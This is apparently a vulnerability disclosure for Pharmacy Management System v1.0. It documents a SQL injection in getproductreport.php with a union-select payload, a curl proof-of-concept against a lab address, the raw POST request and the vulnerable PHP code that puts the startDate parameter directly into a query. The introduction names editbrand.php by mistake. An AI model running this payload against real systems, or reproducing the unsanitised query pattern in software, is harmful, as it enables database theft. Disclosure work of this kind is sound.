



Join Yuque for a better reading experience

[Log In](#) to Yuque to collect this article or follow the author for updates

Join now



Pharmacy Management System v1.0 SQL Injection in getproductreport.php

Introduction

There is a SQL Injection in editbrand.php in Pharmacy Management System v1.0.

I put all the php files to the web root path, so I use /getproductreport.php, or it can also be placed at /dawapharma/dawapharma/getproductreport.php etc.

POC

The screenshot shows a web application interface for 'PHARMA AGENCY SOFTWARE'. It features a sidebar with navigation links: HOME, Dashboard, Manufacturer, Categories, and Medicine. The main content area displays a table with columns: Medicine Name, Manufacturer Name, quantity, MRP, expdate, and added_date. The table contains four rows of data, with the last row highlighted in red. Below the table, there is a 'Total Amount' row. The URL bar shows 'http://10.3.34.10:8080/getproductreport.php'. Below the URL bar, there is a section for 'Enable POST' and 'application/x-www-form-urlencoded'. The 'SQLI' tab is selected, and the payload 'startDate=1' union select 1,2,3,4,5,6,7,8,9,0,version(),12,13;--+' is entered in the input field.

Medicine Name	Manufacturer Name	quantity	MRP	expdate	added_date
Cipla Inhaler	1	50	40	2022-02-28	2022-02-28
Abevia 200 SR Tablet	2	30	200	2022-02-16	2022-02-28
Arpasi 20 Tablet	3	70	300	2022-03-13	2022-02-28
DOLO 650mg	4	500	30	2022-05-31	2022-04-16
2	4	6	8	0	10.3.34-MariaDB-0+deb10u1
Total Amount		578			

the "10.3.34-MariaDB-0+deb10u1" is the database version I use, so it is a SQL injection that can echo the content.

POC:

The screenshot shows a curl command in a terminal window. The command is: curl -X POST http://10.3.34.10:8080/getproductreport.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'startDate=1' union select 1,2,3,4,5,6,7,8,9,0,version(),12,13;--+'. The output of the command is: 10.3.34-MariaDB-0+deb10u1.

```
1 POST /getproductreport.php HTTP/1.1
2 ...
3
4 startDate=1' union select 1,2,3,4,5,6,7,8,9,0,version(),12,13;--+
```

Vulnerability Analysis

in the php file, the logic as follows:

```

dawapharma > dawapharma > getproductreport.php
1  <?php include('../constant/layout/head.php');?>
2  <?php include('../constant/layout/header.php');?>
3
4  <?php include('../constant/layout/sidebar.php');?>
5  <!-- Author Name: Mayuri K.
6  | for any PHP, Codeignitor, Laravel OR Python work contact me at mayuri.infospace@gmail.com
7  | Visit website : www.mayurik.com -->
8  <?php include('../constant/connect.php');?>
9  <?php
10
11  require_once 'php_action/core.php';
12
13  if($_POST) {
14
15      $startDate = $_POST['startDate'];
16      //echo $startDate;exit;
17      //$date = DateTime::createFromFormat('m/d/Y',$startDate);
18
19      //$start_date = $date->format("m/d/Y");
20
21      //echo $date;exit;
22
23      $endDate = $_POST['endDate'];
24      //$format = DateTime::createFromFormat('m/d/Y',$endDate);
25      //$end_date = $format->format("Y-m-d");
26      $date=date('Y-m-d');
27      $sql = "SELECT * FROM product WHERE added_date>= '$startDate' AND added_date<= '$endDate' and expdate<'".$date."' AND status = 1";
28      //echo $sql;exit;
29      $query = $connect->query($sql);

```

the wabpage use the startDate parameter as part of sql statement directly.

60b3871e96de.png&title=Pharmacy%20Management%20System%20v1.0%20SQL%20Injection%20in%20getproductr